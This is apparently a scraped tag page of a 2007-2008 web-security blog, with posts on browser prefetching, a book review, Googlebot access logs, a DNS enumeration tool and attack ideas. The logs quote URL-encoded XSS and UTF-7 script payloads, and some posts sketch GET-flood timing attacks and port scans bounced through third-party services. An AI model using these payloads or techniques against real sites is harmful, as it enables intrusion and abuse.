my Firefox showed up the HTTP-Auth dialog immediately, which I placed on my subdomain testing.bitsploit.de But why I asked myself.

I looked into your HTML source to find a hidden image or something like this, but I didn’t found anything but the link. I haven’t clicked on the link, so why does it pop up ? Than I figured out, that the FasterFox-Extension for Firefox prefetches that link and that’s why the HTTP-Auth dialog pops up.

So there’s another chance to trick FasterFox-users (in forums) without having to use HTML/BBcode for embedding images.

Alex is absolutely right. In fact, this is the exact reason I never used to use Opera (it turns out this is not the same kind of prefetching that Opera does, I only just learned). Sure you can turn it off, but pre-fetching has always been a dangerous thing to me. It can speed things up because it pre-fetches and caches the results, but if it pre-fetches and triggers something, like auto-deletion of your account, or automatically adds something to a shopping cart or anything else, you run into some pretty serious problems. Think CSRF. So yes, this apparently can also be used for phishing in FasterFox. But either way, it’s a very cool example of why pre-fetching can be nasty.

Book Review: The Pragmatic CSO

Posted: January 2nd, 2008, 9:24am CST by RSnake

Tags: Webappsec [edit]

When I saw Mike Rothman’s name on the San Diego ISSA meeting speaker list, I tried to be the first person in the room. Yes, there were more technical talks I could have attended, but why would I want to? If you have never seen or talked to Mike, he is gruff, funny, and knowledgeable about security. I consider Mike to be a friend, so it wasn’t a surprise that he would send me an autographed copy of his self published book (which you will not find on Amazon or B&N). Trust me, that didn’t influence my opinion one way or another, but the inscription was definitely nice. What did influence my opinion of the book was that the content between it’s covers. Once I start reading it, I actually put down the other half dozen books I got until I finished every last word. Me? Finishing a book? I know, as crazy as it sounds, I managed to finish this one last night on a flight home.

Where to start? I think the thing I like about this book is that it’s attempting to be relevant, not just to today’s problems, but all future problems. It’s trying to drop the techno-babble that we all tend to get stuck on, and start talking about how to run a business - a security business no less. He takes a tongue in cheek approach to his lesson, which is that of the CSO as an addict. CSOs have a tendency to live on the edge. Closer to that of a life of a fire fighter than that of an executive. He tries to break the bad habits by discouraging the old school attitude that the security community tends to have - forgetting the modern day reality of monetary gain as a key motivator for malicious hacking.

At first I thought I’d like the book, with quotes like, “I’ve got two dogs at home. I don’t need any more friends.” Then I thought I’d hate the book when the main character, “Mike” said that his tests came back almost completely clean (because they almost never are, unless you really don’t know what you’re doing). But then, almost at the end of the book he pulled it out for me. He really ripped into why vulnerability assessments are critical to understanding your security and then the main character, “Mike” explained that he too had a laundry list of vulnerabilities. Whew! Mike Rothman gets it. One of the best quotes in the book for me was “Good Security = Compliance (but not vice versa)”. Oh, he so got me there. I fell in love with this book.

Not only did he manage to cover a very complex topic, which is that of a troubled CSO in a changing world, but he also managed to make it clear that certain types of testing were critical to business success (including application testing). He also had an interesting take on using actual exploits, and social engineering during the penetration test. He said a number of times that the people who feel that you shouldn’t use those or that it is unethical to do to your staff are wrong. No, I’m not oversimplifying his words. He says they are “wrong”. Bad guys do not follow a code of ethics and neither should anyone who wants to test their security as if they were a bad guy. Bad guys do whatever it takes to break in (understanding, of course, that your data may or may not be valuable enough to risk their freedom for).

Similarly, I loved his comments about not following best practices and not using the same thing as everyone else is. He’s hinting at some of the things I’ve discussed before regarding bio-diversity in networking and applications. It’s an interesting topic to see in a book like this, but I’m glad to see it in there.

Throughout the book Mike puts in statements like, “use common sense”, which I often think are missing from books like this. He’s absolutely right, of course. I think that thread echos throughout his book. It’s not a technical book, it’s a book on changing your thinking to get you ahead of the assailant, in the good graces of your executive staff and into auditory compliance. I’ve run into countless people in the industry who desperately need to read this book so that they too can get a clue. It’s not rocket science. It’s the art of running security like a business. Five stars, Mike!

Google Spamming Us

Posted: December 20th, 2007, 4:11pm CST by RSnake

Tags: Webappsec [edit]

You know, we get some really odd traffic. Some of it good, some of it not so much. Let’s take a look at some of Google’s traffic since it’s a slow day. If nothing else it’s good for a laugh. First let’s look at Google trying to hack us - XSS style:

66.249.73.40 - - [26/Nov/2007:01:53:58 +0000] “GET /blog/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1″ 200 55053 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Not too bad for a robot. How about some totally innane Apache directory structure stuff that couldn’t possibly work?

66.249.73.40 - - [26/Nov/2007:00:46:03 +0000] “GET /bluehat-spring-2007/?C=S;O=A HTTP/1.1″ 200 3681 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Someone needs to figure out how UTF-7 works:

66.249.73.40 - - [26/Nov/2007:02:25:19 +0000] “GET /s.js+ACIAPgA8-/script+AD4-x HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Oh don’t we love the Google spam? I really am disheartened that it’s this easy to con Google into spamming websites. As if I don’t get enough referrer spam, Google does one better. *sigh*

66.249.73.40 - - [23/Nov/2007:19:11:23 +0000] “GET /weird/popup.html/Buy-NET.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [09/Dec/2007:07:21:51 +0000] “GET /weird/popup.html/Buy-COM.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [11/Dec/2007:05:24:19 +0000] “GET /weird/popup.html/Buy-MEUK.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [14/Dec/2007:17:48:58 +0000] “GET /weird/popup.html/Buy-INFO.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Google has a lust for the goatse! Cannot get enough of it!!!!! Seriously, Google. I just don’t have Goatse on my machine. I promise! Granted, I 302 redirect all 404s to the homepage, instead of 301, so that’s my bad, but seriously - there is a reason I might want to do that and still not have goatse on my site. I don’t ever remember having it anyway. Time to give up the obsession, Google!

66.249.73.40 - - [30/Nov/2007:01:04:10 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [07/Dec/2007:19:36:57 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [10/Dec/2007:20:17:00 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
66.249.73.40 - - [19/Dec/2007:22:58:31 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

More spam anyone? Let’s see here… Google likes Viagra and goatse. I’m seeing a theme here!

66.249.73.40 - - [26/Nov/2007:04:47:00 +0000] “GET /fierce/?ref=SaglikAlani.Com HTTP/1.1″ 304 - “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

And the trackbacks… oh Google, please figure out what a Trackback is and stop spidering it. I swear, no matter how many bazillion times you look at the trackback pages, you’re still not going to find anything useful there. I double cross my heart and swear to die. This is from Nov 18th-Dec 20th (just over one month):

$ grep 66.249.73.40 error_log |grep -c wp-trackback
938

Think how much bandwidth Google uses that is just completely unnecessary. The countless and senseless bandwidth waste-age. I started using Google because it was light on my personal bandwidth - so much for that idea.

Fierce 1.0

Posted: December 20th, 2007, 10:39am CST by RSnake

Tags: Webappsec [edit]

Okay, it’s about time. I am finally releasing Fierce 1.0 as a production ready DNS enumeration tool. What does that mean? It means it works. We have now gotten rid of all the kinks that made me think that it was crippled in a way that made me not want to rely on it. So what was fixed? Well, thanks to Jabra we have now patched fierce so that when it does a zone transfer it continues working, in the off chance that someone messes with the zone transfer to fool fierce into stopping before it sees the real output. Alas, it was a small but important issue to fix.

So! Much much more work to be done. Not the least of which is better dictionary support (especially with cnames like www.corp.company.com where “corp” represents a sub dictionary) better enumeration for things like www01, www02, etc… Future support to make it into a PERL module perhaps for bigger projects, etc… Lots to do! It’s a nice release, given that it’s been in beta for a year through countless sub revisions as we worked a lot of the production kinks out.

In other news, Fierce will be part of Backtrack 3.0. No word on when Backtrack 3 will be made production but you can download the beta now. So for those pen testers out there who rely on Backtrack for their toolset you will go without Fierce in your arsenal no longer. Jabra is the one who ported into backtrack as well. Anyway, big thanks to Jabra for the help!

Matrix Re-loaded

Posted: December 16th, 2007, 11:20am CST by RSnake

Tags: Webappsec [edit]

There is an interesting post over at hackosis talking about using deceptive security models. I’ve always thought this was a good technique in theory. I wrote about it early last year in something called matrix as a security model, wherein you confuse the attacker by giving them completely different results.

I’ve also written about it on Darkreading regarding widespread use of blacklisting having the effect of causing hackers to become better. The problem of how to deal with an attack may be a better problem for evolutionary biologists to solve than computer scientists.

NASDAQ Symbology Change

Posted: December 13th, 2007, 9:18pm CST by RSnake

Tags: Webappsec [edit]

In talking with one of my clients the topic of special characters came up and one of the things they mentioned being worried about was symbology changes at NASDAQ. For those of you who don’t follow this kind of stuff, the old ticker symbols constituted a fairly small subset of possible combinations. The symbology change was designed to allow greater flexibility in the future of the naming conventions (think about it being like the difference between IPv4 and IPv6 in the stock market). Click here to read more details.

That would probably be all fine and dandy except some of the characters actually mean things in programming languages. for instance % * # $ ~ + ! @ are included in the list of possible legal characters. How many lines of code do you think need to be reviewed and fixed before this actually will work seamlessly? My guess is many millions. How many new exploits do you think this will open? Hard to say, but it should be interesting to watch.

Exaggerating Timing Attack Results Via GET Flooding

Posted: December 9th, 2007, 10:04pm CST by RSnake

Tags: Webappsec [edit]

A post by Super-Friez got me thinking of an actual useful application for GET request flooding this evening. Normally we only think of GET requests as a binary thing - one at a time or flooding. But what if we only launched enough GET requests with the intention of impacting server load, not bandwidth latency. So picking the right URL would be critical here (DB impacts, most likely).

When you found the right URL, launching a GET request flood against the server could seriously delay certain types of requests (especially if they must touch a database two times versus one time, for instance - if the DB was part of the flooding). Suddenly something that is normally the difference of a few microseconds could be the difference of seconds. Who cares? Because I’m always curious if there are any practical applications in hacking for DoS and this appears to be one of them - at least in theory.

Initiating Probes Against Servers Via Other Servers

Posted: December 9th, 2007, 4:41pm CST by RSnake

Tags: Webappsec [edit]

Okay, this is convoluted but still kinda cool. I was looking through some pages on various tools out there, and happened across GRC’s probe page that is designed to detect if there are open ports and what the threats are associated with that port. It is protected from nefarious purposes by only scanning the port of the IP address you are originating from. Then I thought, wait, I can come from anywhere that I can get to request this page. The first page that came to mind? W3C’s validator.

Click here to see W3C’s validator requesting and getting the results of GRC’s probe against W3C’s port 80. Pretty esoteric, huh? Yah, I know, there’s not a whole lot of practicality here, except if I wanted to launch a port scan against a site that had something like a http get function (remote image include for instance) I could get GRC to perform the probe on my behalf. If someone were actually logging, they’d most likely see GRC as the attacker. GRC would say, “no, you are the attacker, asking us to attack you.” and W3C would have to look in their logs to find my IP (which would unlikely be associated with me if I had any clue, as an attacker). Maybe locking things down to IP based restrictions isn’t the best security measure if the only input is via a GET string. Something as simple as a post parameter would have stopped me. Odd but worth mentioning.

My Security Planet » Tags » Webappsec

Feeds

73 items tagged "Webappsec"

Posted: June 30th, 2009, 2:51pm CDT by RSnake

Tags: Webappsec [edit]

Posted: June 27th, 2009, 7:46pm CDT by RSnake

Tags: Webappsec [edit]

Posted: June 21st, 2009, 10:49am CDT by RSnake

Tags: Webappsec [edit]

Posted: June 20th, 2009, 12:32pm CDT by RSnake

Tags: Webappsec [edit]

Posted: June 17th, 2009, 10:32am CDT by RSnake

Tags: Webappsec [edit]

Posted: June 8th, 2009, 3:02pm CDT by RSnake

Tags: Webappsec [edit]

Posted: May 4th, 2009, 9:10am CDT by RSnake

Tags: Webappsec [edit]

Posted: April 20th, 2009, 2:16pm CDT by RSnake

Tags: Webappsec [edit]

Posted: April 17th, 2009, 2:30pm CDT by RSnake

Tags: Webappsec [edit]

Posted: April 16th, 2009, 3:22pm CDT by RSnake

Tags: Webappsec [edit]

Posted: April 10th, 2009, 4:43pm CDT by RSnake

Tags: Webappsec [edit]

Posted: April 6th, 2009, 3:05pm CDT by RSnake

Tags: Webappsec [edit]

Posted: March 29th, 2009, 11:33am CDT by RSnake

Tags: Webappsec [edit]

Posted: March 8th, 2009, 7:32pm CDT by RSnake

Tags: Webappsec [edit]

Posted: March 4th, 2009, 11:00am CST by RSnake

Tags: Webappsec [edit]

Posted: February 5th, 2009, 10:58am CST by RSnake

Tags: Webappsec [edit]

Posted: February 4th, 2009, 7:13pm CST by RSnake

Tags: Webappsec [edit]

Posted: February 4th, 2009, 12:01pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 31st, 2009, 11:38am CST by RSnake

Tags: Webappsec [edit]

Posted: January 28th, 2009, 4:49pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 28th, 2009, 10:59am CST by RSnake

Tags: Webappsec [edit]

Posted: January 26th, 2009, 6:38pm CST by RSnake

Tags: Webappsec [edit]

Posted: January 5th, 2009, 11:21am CST by RSnake

Tags: Webappsec [edit]

Posted: December 16th, 2008, 4:45pm CST by RSnake

Tags: Webappsec [edit]

Posted: October 12th, 2008, 2:48pm CDT by RSnake

Tags: Webappsec [edit]

Posted: October 5th, 2008, 12:32pm CDT by RSnake

Tags: Webappsec [edit]

Posted: September 25th, 2008, 9:02am CDT by RSnake

Tags: Webappsec [edit]

Posted: September 15th, 2008, 7:36pm CDT by RSnake

Tags: Webappsec [edit]

Posted: August 28th, 2008, 9:44pm CDT by RSnake

Tags: Webappsec [edit]

Posted: August 26th, 2008, 6:12pm CDT by RSnake

Tags: Webappsec [edit]

Posted: August 18th, 2008, 10:04am CDT by RSnake

Tags: Webappsec [edit]

Posted: August 16th, 2008, 12:58pm CDT by RSnake

Tags: Webappsec [edit]

Posted: August 3rd, 2008, 11:43am CDT by RSnake

Tags: Webappsec [edit]

Posted: July 29th, 2008, 6:42pm CDT by RSnake

Tags: Webappsec [edit]

Posted: July 28th, 2008, 2:00pm CDT by RSnake

Tags: Webappsec [edit]

Posted: July 10th, 2008, 4:39pm CDT by RSnake

Tags: Webappsec [edit]

Posted: July 9th, 2008, 11:37am CDT by RSnake

Tags: Webappsec [edit]

Posted: June 16th, 2008, 10:40am CDT by RSnake

Tags: Webappsec [edit]

Posted: June 13th, 2008, 11:45am CDT by RSnake